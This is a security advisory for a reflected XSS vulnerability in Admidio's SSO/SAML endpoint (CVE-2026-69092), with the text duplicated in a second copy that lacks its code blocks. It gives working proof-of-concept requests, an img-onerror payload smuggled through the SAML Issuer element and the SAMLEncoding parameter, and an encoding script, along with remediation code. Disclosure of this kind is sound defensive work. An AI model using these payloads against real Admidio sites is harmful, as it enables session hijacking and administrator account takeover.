Summary
A reflected cross-site scripting (XSS) vulnerability exists in Admidio's SSO/SAML endpoint (modules/sso/index.php). The outermost exception handler echoes exception messages directly to the HTTP response using echo $e->getMessage() without HTML encoding. Because the SAML request-processing branch lacks its own try/catch wrapper (unlike the OIDC branch), multiple attacker-controlled data paths — including the SAML Issuer element and LightSaml library query parameters — flow through exception messages into the unencoded output sink. No Content-Type header is explicitly set in the error path (defaults to text/html), and no Content-Security-Policy, X-XSS-Protection, or X-Content-Type-Options headers exist anywhere in the application. This allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of any user who visits a crafted SSO/SAML URL, potentially leading to session hijacking, credential theft, and full account takeover — including administrator accounts.
Details
Root cause: modules/sso/index.php lines 108–109:
} catch (Throwable $e) {
echo $e->getMessage();
}
The outermost catch block handles all uncaught exceptions from the SSO endpoint. It echoes the raw exception message to the HTTP response body without htmlspecialchars() or any HTML encoding. No Content-Type header is set in this error path, so PHP's default text/html; charset=UTF-8 applies.
Why the SAML branch reaches the outer catch without protection:
The SAML branch at index.php lines 85–100 has no try/catch wrapper of its own, unlike the OIDC branch (lines 38–82):
// SAML branch — NO try/catch:
} elseif ($type === 'saml') {
$samlService = new SAMLService($gDb, $gCurrentUser);
// ...
$samlService->handleSSORequest(); // line 92 — exceptions propagate to outer catch
Inside SAMLService::handleSSORequest() (src/SSO/Service/SAMLService.php:399), the inner try block starts at line 415. However, lines 403–413 execute before that inner try and throw exceptions that propagate directly to the outer catch at index.php:108:
// Line 403: static check — not exploitable
if ($gSettingsManager->get('sso_saml_enabled') !== '1') {
throw new Exception("SSO SAML is not enabled");
}
// Line 407: BEFORE inner try — exploitable via LightSaml exceptions
$request = $this->receiveMessage();
// Line 408: static check — not exploitable
if (!$request instanceof AuthnRequest) {
throw new Exception("Invalid request...");
}
// Line 412–413: BEFORE inner try — exploitable via Issuer reflection
$entityIdClient = $request->getIssuer()->getValue();
$client = $this->getClientFromID($entityIdClient);
// Line 415: Inner try starts here — exceptions caught at line 600
try {
Attack Vector 1 — SAML Issuer (EntityID) reflection (primary):
- An attacker crafts a SAML AuthnRequest XML with a CDATA-wrapped XSS payload in the
<saml:Issuer> element.
- The XML is Deflate-compressed, Base64-encoded, and sent as the
SAMLRequest query parameter via HTTP-Redirect binding.
receiveMessage() (SAMLService.php:407) calls into LightSaml's HttpRedirectBinding, which reads $_SERVER['QUERY_STRING'] directly (HttpRedirectBinding.php line 227), completely bypassing Admidio's $_GET sanitization (strip_tags in global_request_params.php:29).
- The SAML XML is decoded, decompressed, and parsed by
DOMDocument::loadXML().
- The Issuer element is deserialized by LightSaml's
AbstractNameID::deserialize(), which calls $this->setValue($node->textContent). Because the payload is in a CDATA section, textContent preserves the raw HTML characters (<, >, etc.).
$request->getIssuer()->getValue() at SAMLService.php:412 returns the attacker's XSS payload string verbatim.
$this->getClientFromID($entityIdClient) at line 413 is called before the inner try block (line 415).
- When no SAML client matches the XSS-string entityID,
SSOService.php:45 throws:
throw new Exception("SSO client '$clientID' not found in database...");
- This exception propagates to the outer catch at
index.php:108, where echo $e->getMessage() outputs the attacker's HTML/JavaScript directly into the response.
Attack Vector 2 — LightSaml library exceptions with attacker-controlled data:
The receiveMessage() call at line 407 is also outside the inner try. Multiple LightSaml exceptions include attacker-controlled strings:
| Exception |
Source |
LightSaml file |
Pattern |
LightSamlBindingException |
SAMLEncoding query param |
HttpRedirectBinding.php:103 |
"Unknown encoding '%s'" |
LightSamlXmlException |
XML root element name |
SamlMessage.php:96 |
"Unknown SAML message '%s'" |
LightSamlXmlException |
XML namespace URI |
SamlMessage.php:73 |
"Invalid namespace '%s'..." |
LightSamlSecurityException |
SigAlg query param |
AbstractSignatureReader.php:91 |
"Unsupported signing algorithm: '%s'" |
All propagate to echo $e->getMessage() at index.php:109.
Why global input sanitization is bypassed:
global_request_params.php:29 applies strip_tags() to $_GET. The SAMLRequest parameter is Base64-encoded (charset [A-Za-z0-9+/=]), which contains no < characters — strip_tags is a no-op.
- LightSaml's
HttpRedirectBinding::parseQuery() reads $_SERVER['QUERY_STRING'] directly, bypassing $_GET entirely.
- XML CDATA content passes through
DOMNode::$textContent as raw text, preserving <, >, etc.
- Entity-encoded XML (
<, >) is decoded by DOMDocument::loadXML(), also producing raw characters.
Missing mitigations (verified by grep across src/ and system/):
- No
htmlspecialchars() or SecurityUtils::encodeHTML() at the output sink
- No Content-Type header set in the error path
- No Content-Security-Policy header anywhere in the application
- No X-XSS-Protection header
- No X-Content-Type-Options header
PoC
Prerequisites: SAML SSO must be enabled in Admidio settings (sso_saml_enabled = 1).
Vector 1 — Issuer EntityID via CDATA (verified with Python simulation):
Step 1: Craft a SAML AuthnRequest with CDATA-wrapped XSS payload:
<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_xssverify" Version="2.0"
IssueInstant="2025-01-01T00:00:00Z">
<saml:Issuer><![CDATA[<img src=x onerror=alert(document.cookie)>]]></saml:Issuer>
</samlp:AuthnRequest>
Step 2: Encode for SAML HTTP-Redirect binding (Deflate + Base64 + URL-encode):
import base64, zlib, urllib.parse
xml = '<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_xssverify" Version="2.0" IssueInstant="2025-01-01T00:00:00Z"><saml:Issuer><![CDATA[<img src=x onerror=alert(document.cookie)>]]></saml:Issuer></samlp:AuthnRequest>'
compressed = zlib.compress(xml.encode())[2:-4]
b64 = base64.b64encode(compressed).decode()
print(f"SAMLRequest={urllib.parse.quote(b64, safe='')}")
Step 3: Send the crafted request (verified output):
GET /modules/sso/index.php/saml/sso?SAMLRequest=fZBBS0MxEIT%2FSsxJD7ax4GVJAo%2F2UtCLFg%2BWIiGuGvqSrbuJPP%2B98Z0UQZjTfjM7MFZCHk8wtPpW7vC9oVQ15bEIzMDpxgUoSBIoIaNAjXA%2F3N7AamHgxFQp0qh%2FRP5PBBHkmqhotd04%2FTSJfCCnl0%2BtHpClA6e7r1ORhtsiNZTaT2Z1fWmuunbGwKxH7e13H8xO9vZsv94Mu2FvU35VwtFNigoyE7sw9tLzZ4otY6mLSHRMeOEPB2%2BXv34s%2F67hvwA%3D%3D HTTP/1.1
Host: target-admidio.example.com
Step 4: Server response (Content-Type defaults to text/html):
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
SSO client '<img src=x onerror=alert(document.cookie)>' not found in database. Please check the SSO client settings and configure the client in Admidio.
The browser renders the <img> tag, the src=x fails to load, and the onerror JavaScript handler executes, displaying the user's session cookie.
Vector 2 — SAMLEncoding query parameter (simpler, no encoding required):
GET /modules/sso/index.php/saml/sso?SAMLRequest=anything&SAMLEncoding=<img src=x onerror=alert(1)> HTTP/1.1
Host: target-admidio.example.com
This triggers LightSamlBindingException("Unknown encoding '<img src=x onerror=alert(1)>'") at HttpRedirectBinding.php:103, which propagates to index.php:109 and is echoed raw.
Negative/control case (confirmed): When SAML is not enabled, handleSSORequest() line 403 throws Exception("SSO SAML is not enabled") — a static message with no user-controlled data. No XSS occurs.
Cleanup: No cleanup required — the PoC is stateless and does not modify any data.
Impact
This is a reflected cross-site scripting (XSS) vulnerability (CWE-79). It allows unauthenticated attackers to execute arbitrary JavaScript in the browsers of users who visit a crafted SSO/SAML URL.
Impact includes:
- Session hijacking: The attacker can steal session cookies or extract session tokens from the DOM, gaining full access to the victim's Admidio account.
- Credential theft: If an administrator is targeted, the attacker can exfiltrate all member PII (names, emails, addresses, phone numbers).
- Privilege escalation: By targeting an admin, the attacker can create new admin accounts, modify roles/permissions, or change system settings.
- SSO trust chain compromise: Since this is the SSO IdP endpoint, compromising an admin session could allow manipulation of SAML/OIDC client configurations, potentially compromising all connected Service Providers.
Who is impacted: Any Admidio instance where the SSO SAML feature is enabled (sso_saml_enabled = 1). The attack requires no authentication, no user interaction beyond visiting a URL, and can target any user including administrators. The SSO SAML feature was introduced in v5.0.0 and is a documented capability for Single Sign-On integration.
Suggested remediation
- HTML-encode all exception output at
modules/sso/index.php:109:
} catch (Throwable $e) {
http_response_code(500);
header('Content-Type: text/plain; charset=UTF-8');
echo htmlspecialchars($e->getMessage(), ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
- Wrap the SAML branch in its own try/catch at
modules/sso/index.php:85–100, following the pattern already used by the OIDC branch:
} elseif ($type === 'saml') {
try {
$samlService = new SAMLService($gDb, $gCurrentUser);
// ... SAML endpoint routing ...
} catch (Throwable $e) {
http_response_code(500);
header('Content-Type: application/json');
echo json_encode(['error' => 'SAML Error']);
exit;
}
}
- Add Content-Security-Policy and X-Content-Type-Options headers globally.
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
CVE ID
CVE-2026-69092
Summary
A reflected cross-site scripting (XSS) vulnerability exists in Admidio's SSO/SAML endpoint (
modules/sso/index.php). The outermost exception handler echoes exception messages directly to the HTTP response usingecho $e->getMessage()without HTML encoding. Because the SAML request-processing branch lacks its own try/catch wrapper (unlike the OIDC branch), multiple attacker-controlled data paths — including the SAML Issuer element and LightSaml library query parameters — flow through exception messages into the unencoded output sink. No Content-Type header is explicitly set in the error path (defaults totext/html), and no Content-Security-Policy, X-XSS-Protection, or X-Content-Type-Options headers exist anywhere in the application. This allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of any user who visits a crafted SSO/SAML URL, potentially leading to session hijacking, credential theft, and full account takeover — including administrator accounts.Details
Root cause:
modules/sso/index.phplines 108–109:The outermost
catchblock handles all uncaught exceptions from the SSO endpoint. It echoes the raw exception message to the HTTP response body withouthtmlspecialchars()or any HTML encoding. NoContent-Typeheader is set in this error path, so PHP's defaulttext/html; charset=UTF-8applies.Why the SAML branch reaches the outer catch without protection:
The SAML branch at
index.phplines 85–100 has no try/catch wrapper of its own, unlike the OIDC branch (lines 38–82):Inside
SAMLService::handleSSORequest()(src/SSO/Service/SAMLService.php:399), the innertryblock starts at line 415. However, lines 403–413 execute before that inner try and throw exceptions that propagate directly to the outer catch atindex.php:108:Attack Vector 1 — SAML Issuer (EntityID) reflection (primary):
<saml:Issuer>element.SAMLRequestquery parameter via HTTP-Redirect binding.receiveMessage()(SAMLService.php:407) calls into LightSaml'sHttpRedirectBinding, which reads$_SERVER['QUERY_STRING']directly (HttpRedirectBinding.phpline 227), completely bypassing Admidio's$_GETsanitization (strip_tagsinglobal_request_params.php:29).DOMDocument::loadXML().AbstractNameID::deserialize(), which calls$this->setValue($node->textContent). Because the payload is in a CDATA section,textContentpreserves the raw HTML characters (<,>, etc.).$request->getIssuer()->getValue()atSAMLService.php:412returns the attacker's XSS payload string verbatim.$this->getClientFromID($entityIdClient)at line 413 is called before the inner try block (line 415).SSOService.php:45throws:index.php:108, whereecho $e->getMessage()outputs the attacker's HTML/JavaScript directly into the response.Attack Vector 2 — LightSaml library exceptions with attacker-controlled data:
The
receiveMessage()call at line 407 is also outside the inner try. Multiple LightSaml exceptions include attacker-controlled strings:LightSamlBindingExceptionSAMLEncodingquery paramHttpRedirectBinding.php:103"Unknown encoding '%s'"LightSamlXmlExceptionSamlMessage.php:96"Unknown SAML message '%s'"LightSamlXmlExceptionSamlMessage.php:73"Invalid namespace '%s'..."LightSamlSecurityExceptionSigAlgquery paramAbstractSignatureReader.php:91"Unsupported signing algorithm: '%s'"All propagate to
echo $e->getMessage()atindex.php:109.Why global input sanitization is bypassed:
global_request_params.php:29appliesstrip_tags()to$_GET. TheSAMLRequestparameter is Base64-encoded (charset[A-Za-z0-9+/=]), which contains no<characters —strip_tagsis a no-op.HttpRedirectBinding::parseQuery()reads$_SERVER['QUERY_STRING']directly, bypassing$_GETentirely.DOMNode::$textContentas raw text, preserving<,>, etc.<,>) is decoded byDOMDocument::loadXML(), also producing raw characters.Missing mitigations (verified by grep across
src/andsystem/):htmlspecialchars()orSecurityUtils::encodeHTML()at the output sinkPoC
Prerequisites: SAML SSO must be enabled in Admidio settings (
sso_saml_enabled = 1).Vector 1 — Issuer EntityID via CDATA (verified with Python simulation):
Step 1: Craft a SAML AuthnRequest with CDATA-wrapped XSS payload:
Step 2: Encode for SAML HTTP-Redirect binding (Deflate + Base64 + URL-encode):
Step 3: Send the crafted request (verified output):
Step 4: Server response (Content-Type defaults to text/html):
The browser renders the
<img>tag, thesrc=xfails to load, and theonerrorJavaScript handler executes, displaying the user's session cookie.Vector 2 — SAMLEncoding query parameter (simpler, no encoding required):
This triggers
LightSamlBindingException("Unknown encoding '<img src=x onerror=alert(1)>'")atHttpRedirectBinding.php:103, which propagates toindex.php:109and is echoed raw.Negative/control case (confirmed): When SAML is not enabled,
handleSSORequest()line 403 throwsException("SSO SAML is not enabled")— a static message with no user-controlled data. No XSS occurs.Cleanup: No cleanup required — the PoC is stateless and does not modify any data.
Impact
This is a reflected cross-site scripting (XSS) vulnerability (CWE-79). It allows unauthenticated attackers to execute arbitrary JavaScript in the browsers of users who visit a crafted SSO/SAML URL.
Impact includes:
Who is impacted: Any Admidio instance where the SSO SAML feature is enabled (
sso_saml_enabled = 1). The attack requires no authentication, no user interaction beyond visiting a URL, and can target any user including administrators. The SSO SAML feature was introduced in v5.0.0 and is a documented capability for Single Sign-On integration.Suggested remediation
modules/sso/index.php:109:modules/sso/index.php:85–100, following the pattern already used by the OIDC branch:Credits
CVE ID
CVE-2026-69092